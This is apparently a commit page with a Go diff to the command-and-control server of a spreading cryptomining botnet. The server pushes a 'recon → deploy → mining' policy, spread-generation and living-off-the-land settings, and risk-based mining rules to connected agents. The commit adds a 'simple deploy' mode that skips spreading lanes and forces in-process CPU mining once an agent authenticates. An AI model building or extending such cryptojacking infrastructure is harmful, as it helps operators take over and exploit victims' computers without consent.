Add simple Deploy and Mine path for operators without spread complexity.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.
This commit is contained in:
@@ -38,6 +38,7 @@ type ServerPolicy struct {
|
||||
|
||||
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
|
||||
type TripleOnionPolicy struct {
|
||||
SimpleDeploy bool `json:"simple_deploy,omitempty"`
|
||||
PatchFirst bool `json:"patch_first,omitempty"`
|
||||
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
||||
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
||||
|
||||
@@ -689,6 +689,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Campaign string `json:"campaign"`
|
||||
UTM string `json:"utm"`
|
||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||||
SimpleDeploy bool `json:"simple_deploy,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
@@ -941,9 +942,16 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
"cpu_inprocess", "gpu_subprocess", "stratum_direct",
|
||||
}
|
||||
}
|
||||
resp["mining_tier_policy"] = mp
|
||||
top := policy.TripleOnionPolicy
|
||||
if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
|
||||
if auth.SimpleDeploy || top.SimpleDeploy {
|
||||
top = TripleOnionPolicy{
|
||||
SimpleDeploy: true,
|
||||
PatchFirst: false,
|
||||
SkipMiningOnHighRisk: false,
|
||||
HighRiskThreshold: 100,
|
||||
}
|
||||
mp.ForceTier = "cpu_inprocess"
|
||||
} else if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
|
||||
!top.MineIsolatedTier && !top.SkipMiningOnHighRisk {
|
||||
top.PatchFirst = true
|
||||
top.HighRiskThreshold = 50
|
||||
@@ -953,6 +961,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
resp["triple_onion_policy"] = top
|
||||
resp["mining_tier_policy"] = mp
|
||||
spreadPolicy := map[string]interface{}{}
|
||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
|
||||
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
|
||||
|
||||
Reference in New Issue
Block a user